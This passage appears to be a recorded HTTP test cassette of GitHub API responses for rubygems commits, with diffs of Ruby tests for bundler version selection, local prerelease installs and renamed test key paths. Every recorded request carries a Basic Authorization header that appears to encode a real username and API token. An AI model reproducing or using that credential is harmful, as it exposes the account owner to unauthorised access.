bvf.stub(:bundler_version, v(\"1.1.1.1\")) do\n+ assert bvf.compatible?(util_spec(\"foo\"))\n+ assert bvf.compatible?(util_spec(\"bundler\", \"1.1.1.1\"))\n+ refute bvf.compatible?(util_spec(\"bundler\", \"1.1.1.a\"))\n+ end\n+ end\n+\n+ def test_filter\n+ specs = [util_spec(\"bundler\", \"1\"), util_spec(\"bundler\", \"1.0\"), util_spec(\"bundler\", \"1.0.1.1\"), util_spec(\"bundler\", \"2.a\")]\n+\n+ assert_equal %w[1 1.0 1.0.1.1 2.a], util_filter_specs(specs).map(&:version).map(&:to_s)\n+\n+ bvf.stub(:bundler_version, v(\"1.1.1.1\")) do\n+ assert_empty util_filter_specs(specs)\n+ end\n+ bvf.stub(:bundler_version, v(\"1\")) do\n+ assert_equal %w[1 1.0], util_filter_specs(specs).map(&:version).map(&:to_s)\n+ end\n+ bvf.stub(:bundler_version, v(\"2.a\")) do\n+ assert_equal %w[2.a], util_filter_specs(specs).map(&:version).map(&:to_s)\n+ end\n+ end\n+\n+ def util_filter_specs(specs)\n+ specs = specs.dup\n+ bvf.filter!(specs)\n+ specs\n+ end\n+end\n\\ No newline at end of file"},{"sha":"d06617b04bfb5f164c9ad09c6fdf4474b3157438","filename":"test/rubygems/test_gem_dependency.rb","status":"modified","additions":28,"deletions":0,"changes":28,"blob_url":"https://github.com/rubygems/rubygems/blob/69847079c940a5c6935a7f83a43131097e08558b/test/rubygems/test_gem_dependency.rb","raw_url":"https://github.com/rubygems/rubygems/raw/69847079c940a5c6935a7f83a43131097e08558b/test/rubygems/test_gem_dependency.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_dependency.rb?ref=69847079c940a5c6935a7f83a43131097e08558b","patch":"@@ -338,6 +338,34 @@ def test_to_specs_suggests_other_versions\n assert_match \"Could not find ''a'' (= 2.0) - did find: [a-1.0]\", e.message\n end\n \n+ def test_to_specs_respects_bundler_version\n+ b = util_spec ''bundler'', ''2.0.0.pre.1''\n+ b_1 = util_spec ''bundler'', ''1''\n+ install_specs b, b_1\n+\n+ b_file = File.join b.gem_dir, ''lib'', ''bundler'', ''setup.rb''\n+\n+ write_file b_file do |io|\n+ io.puts ''# setup.rb''\n+ end\n+\n+ dep = Gem::Dependency.new \"bundler\", \">= 0.a\"\n+\n+ assert_equal [b, b_1], dep.to_specs\n+\n+ Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"1.5\", \"reason\"]) do\n+ e = assert_raises Gem::MissingSpecVersionError do\n+ dep.to_specs\n+ end\n+\n+ assert_match \"Could not find ''bundler'' (1.5) required by reason.\\nTo update to the lastest version installed on your system, run `bundle update --bundler`.\\nTo install the missing version, run `gem install bundler:1.5`\\n\", e.message\n+ end\n+\n+ Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"1.0\", \"reason\"]) do\n+ assert_equal [b_1], dep.to_specs\n+ end\n+ end\n+\n def test_to_specs_indicates_total_gem_set_size\n a = util_spec ''a'', ''1.0''\n install_specs a"},{"sha":"f7d3988ce37b886486202a3e9fb24dc774b82aaf","filename":"test/rubygems/test_kernel.rb","status":"modified","additions":30,"deletions":0,"changes":30,"blob_url":"https://github.com/rubygems/rubygems/blob/69847079c940a5c6935a7f83a43131097e08558b/test/rubygems/test_kernel.rb","raw_url":"https://github.com/rubygems/rubygems/raw/69847079c940a5c6935a7f83a43131097e08558b/test/rubygems/test_kernel.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_kernel.rb?ref=69847079c940a5c6935a7f83a43131097e08558b","patch":"@@ -90,4 +90,34 @@ def test_gem_not_adding_bin\n assert gem(''a'', ''= 1''), \"Should load\"\n refute $:.any? { |p| %r{a-1/bin} =~ p }\n end\n+\n+ def test_gem_bundler\n+ quick_gem ''bundler'', ''1''\n+ quick_gem ''bundler'', ''2.a''\n+\n+ assert gem(''bundler'')\n+ assert $:.any? { |p| %r{bundler-1/lib} =~ p }\n+ end\n+\n+ def test_gem_bundler_missing_bundler_version\n+ Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"55\", \"reason\"]) do\n+ quick_gem ''bundler'', ''1''\n+ quick_gem ''bundler'', ''2.a''\n+\n+ e = assert_raises Gem::MissingSpecVersionError do\n+ gem(''bundler'')\n+ end\n+ assert_match \"Could not find ''bundler'' (55) required by reason.\", e.message\n+ end\n+ end\n+\n+ def test_gem_bundler_inferred_bundler_version\n+ Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"1\", \"reason\"]) do\n+ quick_gem ''bundler'', ''1''\n+ quick_gem ''bundler'', ''2.a''\n+\n+ assert gem(''bundler'', ''>= 0.a'')\n+ assert $:.any? { |p| %r{bundler-1/lib} =~ p }\n+ end\n+ end\n end"},{"sha":"33095de3c8c0d12499376cd95a8ba7febdfba9e8","filename":"test/rubygems/test_require.rb","status":"modified","additions":38,"deletions":0,"changes":38,"blob_url":"https://github.com/rubygems/rubygems/blob/69847079c940a5c6935a7f83a43131097e08558b/test/rubygems/test_require.rb","raw_url":"https://github.com/rubygems/rubygems/raw/69847079c940a5c6935a7f83a43131097e08558b/test/rubygems/test_require.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_require.rb?ref=69847079c940a5c6935a7f83a43131097e08558b","patch":"@@ -383,6 +383,44 @@ def self.gem(*args)\n assert_equal %w(a-1), loaded_spec_names\n end\n \n+\n+ def test_require_bundler\n+ $:.reject! {|lp| File.expand_path(lp).end_with?(\"bundler/lib\") }\n+ b1 = new_spec(''bundler'', ''1'', nil, \"lib/bundler/setup.rb\")\n+ b2a = new_spec(''bundler'', ''2.a'', nil, \"lib/bundler/setup.rb\")\n+ install_specs b1, b2a\n+\n+ assert_require ''bundler/setup''\n+ assert_equal %w[bundler-2.a], loaded_spec_names\n+ assert_empty unresolved_names\n+ end\n+\n+ def test_require_bundler_missing_bundler_version\n+ $:.reject! {|lp| File.expand_path(lp).end_with?(\"bundler/lib\") }\n+ Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"55\", \"reason\"]) do\n+ b1 = new_spec(''bundler'', ''1'', nil, \"lib/bundler/setup.rb\")\n+ b2a = new_spec(''bundler'', ''2.a'', nil, \"lib/bundler/setup.rb\")\n+ install_specs b1, b2a\n+\n+ e = assert_raises Gem::MissingSpecVersionError do\n+ gem(''bundler'')\n+ end\n+ assert_match \"Could not find ''bundler'' (55) required by reason.\", e.message\n+ end\n+ end\n+\n+ def test_require_bundler_with_bundler_version\n+ $:.reject! {|lp| File.expand_path(lp).end_with?(\"bundler/lib\") }\n+ Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"1\", \"reason\"]) do\n+ b1 = new_spec(''bundler'', ''1'', nil, \"lib/bundler/setup.rb\")\n+ b2 = new_spec(''bundler'', ''2'', nil, \"lib/bundler/setup.rb\")\n+ install_specs b1, b2\n+\n+ assert_require ''bundler/setup''\n+ assert_equal %w[bundler-1], loaded_spec_names\n+ end\n+ end\n+\n def silence_warnings\n old_verbose, $VERBOSE = $VERBOSE, false\n yield"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:18 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/3ab5aaa93ce2751eec9b378e8a39a547fb25803d body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:19 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4370' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"543938725d7fc5697774ccbfaca6e3d7" Last-Modified: - Fri, 18 Aug 2017 03:30:17 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.048204' X-Github-Request-Id: - C61C:4D95:F489D2:1C84DA1:5A50E482 body: encoding: ASCII-8BIT string: '{"sha":"3ab5aaa93ce2751eec9b378e8a39a547fb25803d","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-18T03:30:17Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-18T03:30:17Z"},"message":"Allow local installs with transitive prerelease requirements","tree":{"sha":"8e3b710e65e930a29df31e4b7fabfdfb5c4e19c3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8e3b710e65e930a29df31e4b7fabfdfb5c4e19c3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/3ab5aaa93ce2751eec9b378e8a39a547fb25803d","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZll9JAAoJEAEZW7MV3ahWEkkP/Rny4Tc9IWVpoifBtryX41pO\nUiFk6Eo0IbE0WnMiF5PPjrwRvIqKio46fTP1l47hpl7Dw2+ZQsv9dsPPa5PBGn/5\nJJPWZuGz52C4mALi3kfV+nf/49eF2FPWXFJjFKSmpLd4xYau7n93rRLTDHh9JNC6\n0yVr++wcST8bZIWdigTUMpkWdJKfdif9tFFv00g/WpDorqZzVI/Jt4ZnUvZ8gfSa\nI43YLgH4P6J13GQsG3sAr/AIU4pKkUQ5OEzzEcIGs6iGlkxSchCAbNEIWP9i5ERN\n41v+uXoaB4k0mQ6jeeYF9QgVDdxyB3MkhtRhR7WkD0NLBp5l9pe/RGwak+Nx0007\nUGO+4lmeMREnPwWKP5gygOhdfz1gZUCmWcBdLtl8u1kJkPtNhbDGm0gFcRwoYAQH\n/N9NC+0o5kKBThq0bLSJSUl/xjhRKQpMgyXd+Cm1oz9ziD0qNAA6i5oTV5byN8jV\nRNUz3Mi1dfIKbmFpu3Y1eQ27DErsj4EkObrKo7Nd1874YUkcPbZE2drKaxomtUwM\nFdifrrixCP3Wprc4qfjRnlLUzljvvayQox2136yiseA+AAj3omO9tBXE5zlCsGoy\nL+OYKZEpU9iirOzlYhaBytVDI0I+3UPiVM6Blk9jRUY+R0TVKIgvFJrnFmSXASgN\nJ7lMOruVZhGXkUp7LBpg\n=V28O\n-----END PGP SIGNATURE-----","payload":"tree 8e3b710e65e930a29df31e4b7fabfdfb5c4e19c3\nparent d5de035229fc5745e17cfa56b3f3ebe30f537468\nauthor Samuel Giddins 1503027017 -0400\ncommitter Samuel Giddins 1503027017 -0400\n\nAllow local installs with transitive prerelease requirements\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/3ab5aaa93ce2751eec9b378e8a39a547fb25803d","html_url":"https://github.com/rubygems/rubygems/commit/3ab5aaa93ce2751eec9b378e8a39a547fb25803d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/3ab5aaa93ce2751eec9b378e8a39a547fb25803d/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"d5de035229fc5745e17cfa56b3f3ebe30f537468","url":"https://api.github.com/repos/rubygems/rubygems/commits/d5de035229fc5745e17cfa56b3f3ebe30f537468","html_url":"https://github.com/rubygems/rubygems/commit/d5de035229fc5745e17cfa56b3f3ebe30f537468"}],"stats":{"total":35,"additions":34,"deletions":1},"files":[{"sha":"5ab7a467b57d621a1d4b0c0bc7152f0a203f94c6","filename":"lib/rubygems/source/local.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/3ab5aaa93ce2751eec9b378e8a39a547fb25803d/lib/rubygems/source/local.rb","raw_url":"https://github.com/rubygems/rubygems/raw/3ab5aaa93ce2751eec9b378e8a39a547fb25803d/lib/rubygems/source/local.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/source/local.rb?ref=3ab5aaa93ce2751eec9b378e8a39a547fb25803d","patch":"@@ -91,7 +91,7 @@ def find_gem gem_name, version = Gem::Requirement.default, # :nodoc:\n if version.satisfied_by?(s.version)\n if prerelease\n found << s\n- elsif !s.version.prerelease?\n+ elsif !s.version.prerelease? || version.prerelease?\n found << s\n end\n end"},{"sha":"dd86a85038dbb9ac5401ef3af06accbc952d57b3","filename":"test/rubygems/test_gem_commands_install_command.rb","status":"modified","additions":33,"deletions":0,"changes":33,"blob_url":"https://github.com/rubygems/rubygems/blob/3ab5aaa93ce2751eec9b378e8a39a547fb25803d/test/rubygems/test_gem_commands_install_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/3ab5aaa93ce2751eec9b378e8a39a547fb25803d/test/rubygems/test_gem_commands_install_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_install_command.rb?ref=3ab5aaa93ce2751eec9b378e8a39a547fb25803d","patch":"@@ -96,6 +96,39 @@ def test_execute_local\n assert_match \"1 gem installed\", @ui.output\n end\n \n+ def test_execute_local_transitive_prerelease\n+ specs = spec_fetcher do |fetcher|\n+ fetcher.download ''a'', 2, ''b'' => \"2.a\", ''c'' => ''3''\n+ fetcher.download ''b'', ''2.a''\n+ fetcher.download ''c'', ''3''\n+ end\n+\n+ @cmd.options[:domain] = :local\n+\n+ FileUtils.mv specs[''a-2''].cache_file, @tempdir\n+ FileUtils.mv specs[''b-2.a''].cache_file, @tempdir\n+ FileUtils.mv specs[''c-3''].cache_file, @tempdir\n+\n+ @cmd.options[:args] = %w[a]\n+\n+ use_ui @ui do\n+ orig_dir = Dir.pwd\n+ begin\n+ Dir.chdir @tempdir\n+ FileUtils.rm_r [@gemhome, \"gems\"]\n+ assert_raises Gem::MockGemUi::SystemExitException, @ui.error do\n+ @cmd.execute\n+ end\n+ ensure\n+ Dir.chdir orig_dir\n+ end\n+ end\n+\n+ assert_equal %w[a-2 b-2.a c-3], @cmd.installed_specs.map { |spec| spec.full_name }.sort\n+\n+ assert_match \"3 gems installed\", @ui.output\n+ end\n+\n def test_execute_no_user_install\n skip ''skipped on MS Windows (chmod has no effect)'' if win_platform?\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:19 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/d5de035229fc5745e17cfa56b3f3ebe30f537468 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:19 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4369' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a1771f7f7ef216400a6432d67243cf61" Last-Modified: - Wed, 16 Aug 2017 02:03:06 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.043706' X-Github-Request-Id: - C61E:4D94:4F0345:B30B02:5A50E483 body: encoding: ASCII-8BIT string: '{"sha":"d5de035229fc5745e17cfa56b3f3ebe30f537468","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-16T02:03:06Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-16T02:03:06Z"},"message":"Auto merge of #1987 - hsbt:use-expand_path-for-ruby-core, r=hsbt\n\nUse File.expand_path for certification and key location.\n\n# Description:\n\nBecause directory structure of ruby core needs to a relative path.\n\nIt fixed https://travis-ci.org/ruby/ruby/builds/257589943#L7002 .\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"e788afe3a02a82618f94916abf679d46c0f04d88","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e788afe3a02a82618f94916abf679d46c0f04d88"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d5de035229fc5745e17cfa56b3f3ebe30f537468","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d5de035229fc5745e17cfa56b3f3ebe30f537468","html_url":"https://github.com/rubygems/rubygems/commit/d5de035229fc5745e17cfa56b3f3ebe30f537468","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d5de035229fc5745e17cfa56b3f3ebe30f537468/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"d8bad8f86188251e48f30baf72a9da8a483f4795","url":"https://api.github.com/repos/rubygems/rubygems/commits/d8bad8f86188251e48f30baf72a9da8a483f4795","html_url":"https://github.com/rubygems/rubygems/commit/d8bad8f86188251e48f30baf72a9da8a483f4795"},{"sha":"01f7b372a703e0d286f5ad53fc47e6a96ab97d37","url":"https://api.github.com/repos/rubygems/rubygems/commits/01f7b372a703e0d286f5ad53fc47e6a96ab97d37","html_url":"https://github.com/rubygems/rubygems/commit/01f7b372a703e0d286f5ad53fc47e6a96ab97d37"}],"stats":{"total":17,"additions":8,"deletions":9},"files":[{"sha":"fc1cf26d1d0ebb2f4c11e6214e9723cdf6496ba8","filename":"Manifest.txt","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/d5de035229fc5745e17cfa56b3f3ebe30f537468/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/d5de035229fc5745e17cfa56b3f3ebe30f537468/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=d5de035229fc5745e17cfa56b3f3ebe30f537468","patch":"@@ -470,10 +470,10 @@ test/rubygems/invalidchild_key.pem\n test/rubygems/plugin/exception/rubygems_plugin.rb\n test/rubygems/plugin/load/rubygems_plugin.rb\n test/rubygems/plugin/standarderror/rubygems_plugin.rb\n+test/rubygems/private3072_key.pem\n test/rubygems/private_key.pem\n-test/rubygems/private_key3072.pem\n+test/rubygems/public3072_cert.pem\n test/rubygems/public_cert.pem\n-test/rubygems/public_cert3072.pem\n test/rubygems/public_cert_32.pem\n test/rubygems/public_key.pem\n test/rubygems/rubygems/commands/crash_command.rb"},{"sha":"e99abce69c996e2a1130264e1cd5550cd8ffa356","filename":"test/rubygems/private3072_key.pem","status":"renamed","additions":0,"deletions":0,"changes":0,"blob_url":"https://github.com/rubygems/rubygems/blob/d5de035229fc5745e17cfa56b3f3ebe30f537468/test/rubygems/private3072_key.pem","raw_url":"https://github.com/rubygems/rubygems/raw/d5de035229fc5745e17cfa56b3f3ebe30f537468/test/rubygems/private3072_key.pem","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/private3072_key.pem?ref=d5de035229fc5745e17cfa56b3f3ebe30f537468","previous_filename":"test/rubygems/private_key3072.pem"},{"sha":"8f769aa8b9f6514e958f1ee5292e3ac9b4998402","filename":"test/rubygems/public3072_cert.pem","status":"renamed","additions":0,"deletions":0,"changes":0,"blob_url":"https://github.com/rubygems/rubygems/blob/d5de035229fc5745e17cfa56b3f3ebe30f537468/test/rubygems/public3072_cert.pem","raw_url":"https://github.com/rubygems/rubygems/raw/d5de035229fc5745e17cfa56b3f3ebe30f537468/test/rubygems/public3072_cert.pem","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/public3072_cert.pem?ref=d5de035229fc5745e17cfa56b3f3ebe30f537468","previous_filename":"test/rubygems/public_cert3072.pem"},{"sha":"08854f0bf18355ff041afe486953c85894c19fda","filename":"test/rubygems/test_gem_commands_build_command.rb","status":"modified","additions":6,"deletions":7,"changes":13,"blob_url":"https://github.com/rubygems/rubygems/blob/d5de035229fc5745e17cfa56b3f3ebe30f537468/test/rubygems/test_gem_commands_build_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/d5de035229fc5745e17cfa56b3f3ebe30f537468/test/rubygems/test_gem_commands_build_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_build_command.rb?ref=d5de035229fc5745e17cfa56b3f3ebe30f537468","patch":"@@ -118,15 +118,15 @@ def test_execute_force\n util_test_build_gem @gem, gemspec_file, false\n end\n \n+ CERT_FILE = cert_path ''public3072''\n+ SIGNING_KEY = key_path ''private3072''\n+\n def test_build_signed_gem\n- cert_file = File.join(@current_dir, ''test'', ''rubygems'',\n- ''public_cert3072.pem'')\n trust_dir = Gem::Security.trust_dir\n \n spec = util_spec ''some_gem'' do |s|\n- s.signing_key = File.join(@current_dir, ''test'', ''rubygems'',\n- ''private_key3072.pem'')\n- s.cert_chain = [cert_file]\n+ s.signing_key = SIGNING_KEY\n+ s.cert_chain = [CERT_FILE]\n end\n \n gemspec_file = File.join(@tempdir, spec.spec_name)\n@@ -137,12 +137,11 @@ def test_build_signed_gem\n \n util_test_build_gem spec, gemspec_file\n \n- trust_dir.trust_cert OpenSSL::X509::Certificate.new(File.read(cert_file))\n+ trust_dir.trust_cert OpenSSL::X509::Certificate.new(File.read(CERT_FILE))\n \n gem = Gem::Package.new(File.join(@tempdir, spec.file_name),\n Gem::Security::HighSecurity)\n assert gem.verify\n end\n \n end\n-"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:19 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/01f7b372a703e0d286f5ad53fc47e6a96ab97d37 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:19 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4368' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"3a673b0121a54ca6e85e2161fd3af5c5" Last-Modified: - Wed, 16 Aug 2017 01:26:17 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.054169' X-Github-Request-Id: - A350:4D95:F489F2:1C84DD8:5A50E483 body: encoding: ASCII-8BIT string: '{"sha":"01f7b372a703e0d286f5ad53fc47e6a96ab97d37","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-08-16T01:25:18Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-08-16T01:26:17Z"},"message":"To use `Gem::TestCase.cert_path` and ``Gem::TestCase.key_path`\n\n Test fixture couldn''t be access used by `File.expand_path` on tempdir process.","tree":{"sha":"e788afe3a02a82618f94916abf679d46c0f04d88","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e788afe3a02a82618f94916abf679d46c0f04d88"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/01f7b372a703e0d286f5ad53fc47e6a96ab97d37","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlmTn0cACgkQ+c8TQXJk\n+sK+bwf+PHr4ceiheNH8yne0ghZ8UdbHHqMIdo4foFqplamg9mlnnV8CWog7HCFW\nMkcLfqVQ5E2iuzIbzZKn0sGwEwPAROPTJ/K4c/cSNRf8BOwDKqDdeE+Zk7yRgKSe\nKqxsVr8QnSEHZ4NoiyvOaKAskFssTV1Fu8ylq17NCVrQTKS6hvG9wCaA7FGFpkCl\nMnLyrI/z0kRUbl5od5y1zcLrmrFMTK2XaP/ZB2dApZ8ksL53gDyv5lG3suAMYeyI\nrpTZsPzR0hdGbBvQ+MbpwvYvfMtdJWyz0cFgqKFh4pEST/wD0BedthJWg+rbJ2Rr\no8mFas7IqYW/h9slRCpREORXIvhBvQ==\n=MFFF\n-----END PGP SIGNATURE-----","payload":"tree e788afe3a02a82618f94916abf679d46c0f04d88\nparent 5428b6b3d24706c86b10583c76e1407b1662f90e\nauthor SHIBATA Hiroshi 1502846718 +0900\ncommitter SHIBATA Hiroshi 1502846777 +0900\n\nTo use `Gem::TestCase.cert_path` and ``Gem::TestCase.key_path`\n\n Test fixture 